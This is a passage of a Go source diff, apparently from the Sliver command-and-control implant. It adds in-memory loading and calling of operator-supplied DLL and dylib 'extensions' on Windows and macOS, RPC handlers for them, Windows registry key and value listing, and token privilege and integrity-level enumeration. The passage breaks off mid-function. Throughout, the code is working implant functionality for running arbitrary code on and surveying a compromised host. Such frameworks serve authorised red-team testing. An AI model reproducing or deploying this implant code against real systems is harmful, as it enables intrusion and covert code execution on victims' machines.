|
||||
|
||||
type extensionArguments struct {
|
||||
inDataSize uintptr
|
||||
inDataBuff uintptr
|
||||
outDataSize uintptr
|
||||
outDataBuff uintptr
|
||||
}
|
||||
|
||||
func NewDarwinExtension(data []byte, id string, arch string, init string) *DarwinExtension {
|
||||
return &DarwinExtension{
|
||||
id: id,
|
||||
data: data,
|
||||
arch: arch,
|
||||
init: init,
|
||||
}
|
||||
}
|
||||
|
||||
func (d *DarwinExtension) GetID() string {
|
||||
return d.id
|
||||
}
|
||||
|
||||
func (d *DarwinExtension) GetArch() string {
|
||||
return d.arch
|
||||
}
|
||||
|
||||
func (d *DarwinExtension) Load() error {
|
||||
var err error
|
||||
loader, err := universal.NewLoader()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
d.module, err = loader.LoadLibrary(d.id, &d.data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if d.init != "" {
|
||||
if _, errInit := d.module.Call(d.init); errInit != nil {
|
||||
return errInit
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *DarwinExtension) Call(export string, arguments []byte, onFinish func([]byte)) error {
|
||||
// We currently have 2 issues with Darwin extensions:
|
||||
// - cppgo (used by universal) fucks up when calling a function with more than 1 argument
|
||||
// - we don't have Go callback support for the loaded extension,
|
||||
// so we have to wait for the call to finish to get the results
|
||||
// To circumvent these issues, we pass the extensionArguments structure
|
||||
// as the only argument to the call, so we can pass args in and extract
|
||||
// the result at the same time.
|
||||
runtime.LockOSThread()
|
||||
defer runtime.UnlockOSThread()
|
||||
extArgs := extensionArguments{}
|
||||
if len(arguments) > 0 {
|
||||
extArgs.inDataBuff = uintptr(unsafe.Pointer(&arguments[0]))
|
||||
extArgs.inDataSize = uintptr(uint64(len(arguments)))
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Calling %s, arg size: %d\n", export, extArgs.inDataSize)
|
||||
// {{end}}
|
||||
_, err := d.module.Call(export, uintptr(unsafe.Pointer(&extArgs)))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("%s done!\n", export)
|
||||
// {{end}}
|
||||
outData := new(bytes.Buffer)
|
||||
outDataSize := int(extArgs.outDataSize)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Out data size: %d\n", outDataSize)
|
||||
// {{end}}
|
||||
for i := 0; i < outDataSize; i++ {
|
||||
b := (*byte)(unsafe.Pointer(uintptr(i) + extArgs.outDataBuff))
|
||||
outData.WriteByte(*b)
|
||||
}
|
||||
// We currently don't have a way to trigger a callback
|
||||
// in the loaded code for Darwin.
|
||||
if outData.Len() > 0 {
|
||||
onFinish(outData.Bytes())
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,114 @@
|
||||
package extension
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"golang.zx2c4.com/wireguard/tun/wintun/memmod"
|
||||
)
|
||||
|
||||
const (
|
||||
Success = 0
|
||||
Failure = 1
|
||||
)
|
||||
|
||||
type WindowsExtension struct {
|
||||
id string
|
||||
data []byte
|
||||
module *memmod.Module
|
||||
arch string
|
||||
init string
|
||||
onFinish func([]byte)
|
||||
serverStore bool
|
||||
}
|
||||
|
||||
func NewWindowsExtension(data []byte, id string, arch string, init string) *WindowsExtension {
|
||||
return &WindowsExtension{
|
||||
id: id,
|
||||
data: data,
|
||||
arch: arch,
|
||||
init: init,
|
||||
}
|
||||
}
|
||||
|
||||
func (w *WindowsExtension) GetID() string {
|
||||
return w.id
|
||||
}
|
||||
|
||||
func (w *WindowsExtension) GetArch() string {
|
||||
return w.arch
|
||||
}
|
||||
|
||||
func (w *WindowsExtension) Load() error {
|
||||
var err error
|
||||
w.module, err = memmod.LoadLibrary(w.data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if w.init != "" {
|
||||
initProc, errInit := w.module.ProcAddressByName(w.init)
|
||||
if errInit == nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Calling %s\n", w.init)
|
||||
// {{end}}
|
||||
syscall.Syscall(initProc, 0, 0, 0, 0)
|
||||
} else {
|
||||
return errInit
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([]byte)) error {
|
||||
var (
|
||||
argumentsPtr uintptr
|
||||
argumentsSize uintptr
|
||||
)
|
||||
if w.module == nil {
|
||||
return errors.New("{{if .Config.Debug}} module not loaded {{end}}")
|
||||
}
|
||||
w.onFinish = onFinish
|
||||
callback := syscall.NewCallback(w.extensionCallback)
|
||||
exportPtr, err := w.module.ProcAddressByName(export)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(arguments) > 0 {
|
||||
argumentsPtr = uintptr(unsafe.Pointer(&arguments[0]))
|
||||
argumentsSize = uintptr(uint32(len(arguments)))
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Calling %s, arguments addr: 0x%08x, args size: %08x\n", export, argumentsPtr, argumentsSize)
|
||||
// {{end}}
|
||||
// The extension API must respect the following prototype:
|
||||
// int Run(buffer char*, bufferSize uint32_t, goCallback callback)
|
||||
// where goCallback = int(char *, int)
|
||||
_, _, errNo := syscall.Syscall(exportPtr, 3, argumentsPtr, argumentsSize, callback)
|
||||
if errNo != 0 {
|
||||
return errors.New(errNo.Error())
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// extensionCallback takes a buffer (char *) and its size (int) as parameters
|
||||
// so we can pass data back to the Go process from the loaded DLL
|
||||
func (w *WindowsExtension) extensionCallback(data uintptr, dataLen uintptr) uintptr {
|
||||
outDataSize := int(dataLen)
|
||||
outBuff := new(bytes.Buffer)
|
||||
for i := 0; i < outDataSize; i++ {
|
||||
b := (*byte)(unsafe.Pointer(uintptr(i) + data))
|
||||
outBuff.WriteByte(*b)
|
||||
}
|
||||
//TODO: do something with outBuff
|
||||
if outBuff.Len() > 0 {
|
||||
w.onFinish(outBuff.Bytes())
|
||||
}
|
||||
return Success
|
||||
}
|
||||
@@ -28,6 +28,7 @@ import (
|
||||
"io/ioutil"
|
||||
"os/exec"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
@@ -97,7 +98,8 @@ func dirListHandler(data []byte, resp RPCResponse) {
|
||||
dir, files, err := getDirList(dirListReq.Path)
|
||||
|
||||
// Convert directory listing to protobuf
|
||||
dirList := &sliverpb.Ls{Path: dir}
|
||||
timezone, offset := time.Now().Zone()
|
||||
dirList := &sliverpb.Ls{Path: dir, Timezone: timezone, TimezoneOffset: int32(offset)}
|
||||
if err == nil {
|
||||
dirList.Exists = true
|
||||
} else {
|
||||
@@ -109,6 +111,13 @@ func dirListHandler(data []byte, resp RPCResponse) {
|
||||
Name: fileInfo.Name(),
|
||||
IsDir: fileInfo.IsDir(),
|
||||
Size: fileInfo.Size(),
|
||||
/* Send the time back to the client / server as the number of seconds
|
||||
since epoch. This will decouple formatting the time to display from the
|
||||
time itself. We can change the format of the time displayed in the client
|
||||
and not have to worry about having to update implants.
|
||||
*/
|
||||
ModTime: fileInfo.ModTime().Unix(),
|
||||
Mode: fileInfo.Mode().String(),
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -19,8 +19,11 @@ package handlers
|
||||
*/
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/extension"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -50,6 +53,11 @@ var (
|
||||
sliverpb.MsgPollIntervalReq: pollIntervalHandler,
|
||||
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
|
||||
// Extensions
|
||||
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
|
||||
sliverpb.MsgCallExtensionReq: callExtensionHandler,
|
||||
sliverpb.MsgListExtensionsReq: listExtensionsHandler,
|
||||
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
// Wireguard specific
|
||||
sliverpb.MsgWGStartPortFwdReq: wgStartPortfwdHandler,
|
||||
@@ -73,3 +81,70 @@ func GetSystemHandlers() map[uint32]RPCHandler {
|
||||
func GetSystemPivotHandlers() map[uint32]PivotHandler {
|
||||
return darwinPivotHandlers
|
||||
}
|
||||
|
||||
// Extensions
|
||||
|
||||
func registerExtensionHandler(data []byte, resp RPCResponse) {
|
||||
registerReq := &sliverpb.RegisterExtensionReq{}
|
||||
|
||||
err := proto.Unmarshal(data, registerReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
ext := extension.NewDarwinExtension(registerReq.Data, registerReq.Name, registerReq.OS, registerReq.Init)
|
||||
extension.Add(ext)
|
||||
err = ext.Load()
|
||||
registerResp := &sliverpb.RegisterExtension{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
if err != nil {
|
||||
registerResp.Response.Err = err.Error()
|
||||
}
|
||||
data, err = proto.Marshal(registerResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func callExtensionHandler(data []byte, resp RPCResponse) {
|
||||
callReq := &sliverpb.CallExtensionReq{}
|
||||
|
||||
err := proto.Unmarshal(data, callReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
callResp := &sliverpb.CallExtension{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
gotOutput := false
|
||||
err = extension.Run(callReq.Name, callReq.Export, callReq.Args, func(out []byte) {
|
||||
gotOutput = true
|
||||
callResp.Output = out
|
||||
data, err = proto.Marshal(callResp)
|
||||
resp(data, err)
|
||||
})
|
||||
// Only send back synchronously if there was an error
|
||||
if err != nil || !gotOutput {
|
||||
if err != nil {
|
||||
callResp.Response.Err = err.Error()
|
||||
}
|
||||
data, err = proto.Marshal(callResp)
|
||||
resp(data, err)
|
||||
}
|
||||
}
|
||||
|
||||
func listExtensionsHandler(data []byte, resp RPCResponse) {
|
||||
lstReq := &sliverpb.ListExtensionsReq{}
|
||||
err := proto.Unmarshal(data, lstReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
exts := extension.List()
|
||||
lstResp := &sliverpb.ListExtensions{
|
||||
Response: &commonpb.Response{},
|
||||
Names: exts,
|
||||
}
|
||||
data, err = proto.Marshal(lstResp)
|
||||
resp(data, err)
|
||||
}
|
||||
@@ -28,6 +28,7 @@ import (
|
||||
"os/exec"
|
||||
"syscall"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/extension"
|
||||
"github.com/bishopfox/sliver/implant/sliver/pivots"
|
||||
"github.com/bishopfox/sliver/implant/sliver/priv"
|
||||
"github.com/bishopfox/sliver/implant/sliver/registry"
|
||||
@@ -61,18 +62,21 @@ var (
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
sliverpb.MsgExecuteTokenReq: executeTokenHandler,
|
||||
sliverpb.MsgGetPrivsReq: getPrivsHandler,
|
||||
|
||||
// Platform specific
|
||||
sliverpb.MsgIfconfigReq: ifconfigHandler,
|
||||
sliverpb.MsgScreenshotReq: screenshotHandler,
|
||||
sliverpb.MsgSideloadReq: sideloadHandler,
|
||||
sliverpb.MsgNetstatReq: netstatHandler,
|
||||
sliverpb.MsgMakeTokenReq: makeTokenHandler,
|
||||
sliverpb.MsgPsReq: psHandler,
|
||||
sliverpb.MsgTerminateReq: terminateHandler,
|
||||
sliverpb.MsgRegistryReadReq: regReadHandler,
|
||||
sliverpb.MsgRegistryWriteReq: regWriteHandler,
|
||||
sliverpb.MsgRegistryCreateKeyReq: regCreateKeyHandler,
|
||||
sliverpb.MsgIfconfigReq: ifconfigHandler,
|
||||
sliverpb.MsgScreenshotReq: screenshotHandler,
|
||||
sliverpb.MsgSideloadReq: sideloadHandler,
|
||||
sliverpb.MsgNetstatReq: netstatHandler,
|
||||
sliverpb.MsgMakeTokenReq: makeTokenHandler,
|
||||
sliverpb.MsgPsReq: psHandler,
|
||||
sliverpb.MsgTerminateReq: terminateHandler,
|
||||
sliverpb.MsgRegistryReadReq: regReadHandler,
|
||||
sliverpb.MsgRegistryWriteReq: regWriteHandler,
|
||||
sliverpb.MsgRegistryCreateKeyReq: regCreateKeyHandler,
|
||||
sliverpb.MsgRegistrySubKeysListReq: regSubKeysListHandler,
|
||||
sliverpb.MsgRegistryListValuesReq: regValuesListHandler,
|
||||
|
||||
// Generic
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
@@ -88,6 +92,11 @@ var (
|
||||
sliverpb.MsgPollIntervalReq: pollIntervalHandler,
|
||||
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
|
||||
// Extensions
|
||||
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
|
||||
sliverpb.MsgCallExtensionReq: callExtensionHandler,
|
||||
sliverpb.MsgListExtensionsReq: listExtensionsHandler,
|
||||
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
// Wireguard specific
|
||||
sliverpb.MsgWGStartPortFwdReq: wgStartPortfwdHandler,
|
||||
@@ -493,3 +502,154 @@ func regCreateKeyHandler(data []byte, resp RPCResponse) {
|
||||
data, err = proto.Marshal(createResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func regSubKeysListHandler(data []byte, resp RPCResponse) {
|
||||
listReq := &sliverpb.RegistrySubKeyListReq{}
|
||||
err := proto.Unmarshal(data, listReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
subKeys, err := registry.ListSubKeys(listReq.Hostname, listReq.Hive, listReq.Path)
|
||||
regListResp := &sliverpb.RegistrySubKeyList{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
if err != nil {
|
||||
regListResp.Response.Err = err.Error()
|
||||
} else {
|
||||
regListResp.Subkeys = subKeys
|
||||
}
|
||||
data, err = proto.Marshal(regListResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func regValuesListHandler(data []byte, resp RPCResponse) {
|
||||
listReq := &sliverpb.RegistryListValuesReq{}
|
||||
err := proto.Unmarshal(data, listReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
regValues, err := registry.ListValues(listReq.Hostname, listReq.Hive, listReq.Path)
|
||||
regListResp := &sliverpb.RegistryValuesList{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
if err != nil {
|
||||
regListResp.Response.Err = err.Error()
|
||||
} else {
|
||||
regListResp.ValueNames = regValues
|
||||
}
|
||||
data, err = proto.Marshal(regListResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func getPrivsHandler(data []byte, resp RPCResponse) {
|
||||
createReq := &sliverpb.GetPrivsReq{}
|
||||
|
||||
err := proto.Unmarshal(data, createReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
privsInfo, integrity, processName, err := priv.GetPrivs()
|
||||
|
||||
response_data := make([]*sliverpb.WindowsPrivilegeEntry, len(privsInfo))
|
||||
|
||||
/*
|
||||
Translate the PrivilegeInfo structs into
|
||||
sliverpb.WindowsPrivilegeEntry structs and put them in the data
|
||||
that will go back to the server / client
|
||||
*/
|
||||
for index, entry := range privsInfo {
|
||||
var currentEntry sliverpb.WindowsPrivilegeEntry
|
||||
|
||||
currentEntry.Name = entry.Name
|
||||
currentEntry.Description = entry.Description
|
||||
currentEntry.Enabled = entry.Enabled
|
||||
currentEntry.EnabledByDefault = entry.EnabledByDefault
|
||||
currentEntry.Removed = entry.Removed
|
||||
currentEntry.UsedForAccess = entry.UsedForAccess
|
||||
|
||||
response_data[index] = ¤tEntry
|
||||
}
|
||||
|
||||
// Package up the response
|
||||
getPrivsResp := &sliverpb.GetPrivs{
|
||||
PrivInfo: response_data,
|
||||
ProcessIntegrity: integrity,
|
||||
ProcessName: processName,
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
getPrivsResp.Response.Err = err.Error()
|
||||
}
|
||||
|
||||
data, err = proto.Marshal(getPrivsResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
// Extensions
|
||||
|
||||
func registerExtensionHandler(data []byte, resp RPCResponse) {
|
||||
registerReq := &sliverpb.RegisterExtensionReq{}
|
||||
|
||||
err := proto.Unmarshal(data, registerReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
ext := extension.NewWindowsExtension(registerReq.Data, registerReq.Name, registerReq.OS, registerReq.Init)
|
||||
extension.Add(ext)
|
||||
err = ext.Load()
|
||||
registerResp := &sliverpb.RegisterExtension{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
if err != nil {
|
||||
registerResp.Response.Err = err.Error()
|
||||
}
|
||||
data, err = proto.Marshal(registerResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func callExtensionHandler(data []byte, resp RPCResponse) {
|
||||
callReq := &sliverpb.CallExtensionReq{}
|
||||
|
||||
err := proto.Unmarshal(data, callReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
callResp := &sliverpb.CallExtension{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
gotOutput := false
|
||||
err = extension.Run(callReq.Name, callReq.Export, callReq.Args, func(out []byte) {
|
||||
gotOutput = true
|
||||
callResp.Output = out
|
||||
data, err = proto.Marshal(callResp)
|
||||
resp(data, err)
|
||||
})
|
||||
// Only send back synchronously if there was an error
|
||||
if err != nil || !gotOutput {
|
||||
if err != nil {
|
||||
callResp.Response.Err = err.Error()
|
||||
}
|
||||
data, err = proto.Marshal(callResp)
|
||||
resp(data, err)
|
||||
}
|
||||
}
|
||||
|
||||
func listExtensionsHandler(data []byte, resp RPCResponse) {
|
||||
lstReq := &sliverpb.ListExtensionsReq{}
|
||||
err := proto.Unmarshal(data, lstReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
exts := extension.List()
|
||||
lstResp := &sliverpb.ListExtensions{
|
||||
Response: &commonpb.Response{},
|
||||
Names: exts,
|
||||
}
|
||||
data, err = proto.Marshal(lstResp)
|
||||
resp(data, err)
|
||||
}
|
||||
@@ -21,23 +21,35 @@ package hostuuid
|
||||
*/
|
||||
|
||||
import (
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"golang.org/x/sys/windows/registry"
|
||||
)
|
||||
|
||||
// Stored Format: {U-U-I-D}
|
||||
var uuid_keypath = "HKEY_LOCAL_MACHINE\\SYSTEM\\HardwareConfig"
|
||||
var uuid_key = "LastConfig"
|
||||
var uuidKeyPath = "SYSTEM\\HardwareConfig"
|
||||
var uuidKey = "LastConfig"
|
||||
|
||||
func GetUUID() string {
|
||||
key, err := registry.OpenKey(registry.CURRENT_USER, uuid_keypath, registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
var uuidStr string
|
||||
var err error
|
||||
|
||||
str, _, err := key.GetStringValue(uuid_key)
|
||||
if err != nil {
|
||||
return ""
|
||||
key, err := registry.OpenKey(registry.LOCAL_MACHINE, uuidKeyPath, registry.QUERY_VALUE)
|
||||
if err == nil {
|
||||
uuidStr, _, err = key.GetStringValue(uuidKey)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to read reg key string value: %s", err)
|
||||
// {{end}}
|
||||
return ""
|
||||
}
|
||||
return uuidStr[1:37]
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to read reg key: %s", err)
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
return str[1:37]
|
||||
return ""
|
||||
}
|
||||
@@ -26,6 +26,8 @@ import (
|
||||
"log"
|
||||
|
||||
// {{end}}
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
@@ -40,9 +42,22 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
THREAD_ALL_ACCESS = windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xffff
|
||||
THREAD_ALL_ACCESS = windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xffff
|
||||
SECURITY_MANDATORY_LOW_RID = 0x00001000
|
||||
SECURITY_MANDATORY_MEDIUM_RID = 0x00002000
|
||||
SECURITY_MANDATORY_HIGH_RID = 0x00003000
|
||||
SECURITY_MANDATORY_SYSTEM_RID = 0x00004000
|
||||
)
|
||||
|
||||
type PrivilegeInfo struct {
|
||||
Name string
|
||||
Description string
|
||||
Enabled bool
|
||||
EnabledByDefault bool
|
||||
Removed bool
|
||||
UsedForAccess bool
|
||||
}
|
||||
|
||||
var CurrentToken windows.Token
|
||||
|
||||
func SePrivEnable(s string) error {
|
||||
@@ -328,3 +343,255 @@ func GetSystem(data []byte, hostingProcess string) (err error) {
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func getProcessIntegrityLevel(processToken windows.Token) (string, error) {
|
||||
// A place to put the size of the token integrity information
|
||||
var tokenIntegrityBufferSize uint32
|
||||
|
||||
// Determine the integrity of the process
|
||||
windows.GetTokenInformation(processToken, windows.TokenIntegrityLevel, nil, 0, &tokenIntegrityBufferSize)
|
||||
|
||||
if tokenIntegrityBufferSize < 4 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("TokenIntegrityBuffer is too small (must be at least 4 bytes)")
|
||||
// {{end}}
|
||||
return "Unknown", nil
|
||||
}
|
||||
|
||||
tokenIntegrityBuffer := make([]byte, tokenIntegrityBufferSize)
|
||||
|
||||
err := windows.GetTokenInformation(processToken,
|
||||
windows.TokenIntegrityLevel,
|
||||
&tokenIntegrityBuffer[0],
|
||||
tokenIntegrityBufferSize,
|
||||
&tokenIntegrityBufferSize,
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Error in call to GetTokenInformation (integrity): ", err)
|
||||
// {{end}}
|
||||
return "", err
|
||||
}
|
||||
|
||||
/*
|
||||
When calling GetTokenInformation with a type of TokenIntegrityLevel, the structure we get back
|
||||
is a TOKEN_MANDATORY_LABEL (https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-token_mandatory_label)
|
||||
which has one SID_AND_ATTRIBUTES structure (https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-sid_and_attributes)
|
||||
|
||||
We need the last 4 bytes (uint32) from the structure because that contains the attributes. The attributes
|
||||
tell us what privilege level we are operating at.
|
||||
*/
|
||||
|
||||
var privilegeLevel uint32 = binary.LittleEndian.Uint32(tokenIntegrityBuffer[tokenIntegrityBufferSize-4:])
|
||||
|
||||
if privilegeLevel < SECURITY_MANDATORY_LOW_RID {
|
||||
return "Untrusted", nil
|
||||
} else if privilegeLevel < SECURITY_MANDATORY_MEDIUM_RID {
|
||||
return "Low", nil
|
||||
} else if privilegeLevel >= SECURITY_MANDATORY_MEDIUM_RID && privilegeLevel < SECURITY_MANDATORY_HIGH_RID {
|
||||
return "Medium", nil
|
||||
} else if privilegeLevel >= SECURITY_MANDATORY_HIGH_RID {
|
||||
return "High", nil
|
||||
}
|
||||
|
||||
return "Unknown", nil
|
||||
}
|
||||
|
||||
func lookupPrivilegeNameByLUID(luid uint64) (string, string, error) {
|
||||
/*
|
||||
We will need the LookupPrivilegeNameW and LookupPrivilegeDisplayNameW functions
|
||||
https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-lookupprivilegenamew
|
||||
https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-lookupprivilegedisplaynamew
|
||||
|
||||
Defined these syscalls in implant/sliver/syscalls/syscalls_windows.go and generated them with
|
||||
mkwinsyscall, so we are good to go.
|
||||
|
||||
mkwinsyscall -output zsyscalls_windows.go syscalls_windows.go
|
||||
*/
|
||||
|
||||
// Allocate 256 wide unicode characters (uint16) for the both names (255 characters plus a null terminator)
|
||||
nameBuffer := make([]uint16, 256)
|
||||
nameBufferSize := uint32(len(nameBuffer))
|
||||
displayNameBuffer := make([]uint16, 256)
|
||||
displayNameBufferSize := uint32(len(displayNameBuffer))
|
||||
|
||||
// A blank string for the system name tells the call to use the local machine
|
||||
systemName := ""
|
||||
|
||||
/*
|
||||
A language ID that gets returned from LookupPrivilegeDisplayNameW
|
||||
We do not need it for anything, but we still need to provide it
|
||||
*/
|
||||
var langID uint32
|
||||
|
||||
err := syscalls.LookupPrivilegeNameW(systemName, &luid, &nameBuffer[0], &nameBufferSize)
|
||||
|
||||
if err != nil {
|
||||
return "", "", err
|
||||
}
|
||||
|
||||
err = syscalls.LookupPrivilegeDisplayNameW(systemName, &nameBuffer[0], &displayNameBuffer[0], &displayNameBufferSize, &langID)
|
||||
|
||||
if err != nil {
|
||||
// We already got the privilege name, so we might as well return that
|
||||
return syscall.UTF16ToString(nameBuffer), "", err
|
||||
}
|
||||
|
||||
return syscall.UTF16ToString(nameBuffer), syscall.UTF16ToString(displayNameBuffer), nil
|
||||
}
|
||||
|
||||
func GetPrivs() ([]PrivilegeInfo, string, string, error) {
|
||||
// A place to store the process token
|
||||
var tokenHandle windows.Token
|
||||
|
||||
// Process integrity
|
||||
var integrity string
|
||||
|
||||
// The current process name
|
||||
var processName string
|
||||
|
||||
// A place to put the size of the token information
|
||||
var tokenInfoBufferSize uint32
|
||||
|
||||
// Get a handle for the current process
|
||||
currentProcHandle, err := windows.GetCurrentProcess()
|
||||
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Could not get a handle for the current process: ", err)
|
||||
// {{end}}
|
||||
return nil, integrity, processName, err
|
||||
}
|
||||
|
||||
// Get the PID for the current process
|
||||
sessionPID, err := windows.GetProcessId(currentProcHandle)
|
||||
|
||||
// This error is not fatal. Worst case, we can display the PID from the registered session
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Could not get PID for current process: ", err)
|
||||
// {{end}}
|
||||
} else {
|
||||
// Get process info for the current PID
|
||||
processInformation, err := ps.FindProcess(int(sessionPID))
|
||||
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Could not get process information for PID %d: %v\n", sessionPID, err)
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
if processInformation != nil {
|
||||
processName = processInformation.Executable()
|
||||
}
|
||||
}
|
||||
|
||||
// Get the process token from the current process
|
||||
err = windows.OpenProcessToken(currentProcHandle, windows.TOKEN_QUERY, &tokenHandle)
|
||||
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Could not open process token: ", err)
|
||||
// {{end}}
|
||||
return nil, integrity, processName, err
|
||||
}
|
||||
|
||||
// Get the size of the token information buffer so we know how large of a buffer to allocate
|
||||
// This produces an error about a data area passed to the syscall being too small, but
|
||||
// we do not care about that because we just want to know how big of a buffer to make
|
||||
windows.GetTokenInformation(tokenHandle, windows.TokenPrivileges, nil, 0, &tokenInfoBufferSize)
|
||||
|
||||
// Make the buffer and get token information
|
||||
// Using a bytes Buffer so that we can Read from it later
|
||||
tokenInfoBuffer := bytes.NewBuffer(make([]byte, tokenInfoBufferSize))
|
||||
|
||||
err = windows.GetTokenInformation(tokenHandle,
|
||||
windows.TokenPrivileges,
|
||||
&tokenInfoBuffer.Bytes()[0],
|
||||
uint32(tokenInfoBuffer.Len()),
|
||||
&tokenInfoBufferSize,
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Error in call to GetTokenInformation (privileges): ", err)
|
||||
// {{end}}
|
||||
return nil, integrity, processName, err
|
||||
}
|
||||
|
||||
// The first 32 bits is the number of privileges in the structure
|
||||
var privilegeCount uint32
|
||||
err = binary.Read(tokenInfoBuffer, binary.LittleEndian, &privilegeCount)
|
||||
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Could not read the number of privileges from the token information.")
|
||||
// {{end}}
|
||||
return nil, integrity, processName, err
|
||||
}
|
||||
|
||||
/*
|
||||
The remaining bytes contain the privileges themselves
|
||||
LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY]
|
||||
Structure of the array: https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-luid_and_attributes
|
||||
*/
|
||||
|
||||
privInfo := make([]PrivilegeInfo, int(privilegeCount))
|
||||
|
||||
for index := 0; index < int(privilegeCount); index++ {
|
||||
// Iterate over the privileges and make sense of them
|
||||
// In case of errors, return what we have so far and the error
|
||||
|
||||
// LUIDs consist of a DWORD and a LONG
|
||||
var luid uint64
|
||||
|
||||
// Attributes are up to 32 one bit flags, so a uint32 is good for that
|
||||
var attributes uint32
|
||||
|
||||
var currentPrivInfo PrivilegeInfo
|
||||
|
||||
// Read the LUID
|
||||
err = binary.Read(tokenInfoBuffer, binary.LittleEndian, &luid)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Could not read the LUID from the binary stream: ", err)
|
||||
// {{end}}
|
||||
return privInfo, integrity, processName, err
|
||||
}
|
||||
|
||||
// Read the attributes
|
||||
err = binary.Read(tokenInfoBuffer, binary.LittleEndian, &attributes)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Could not read the attributes from the binary stream: ", err)
|
||||
// {{end}}
|
||||
return privInfo, integrity, processName, err
|
||||
}
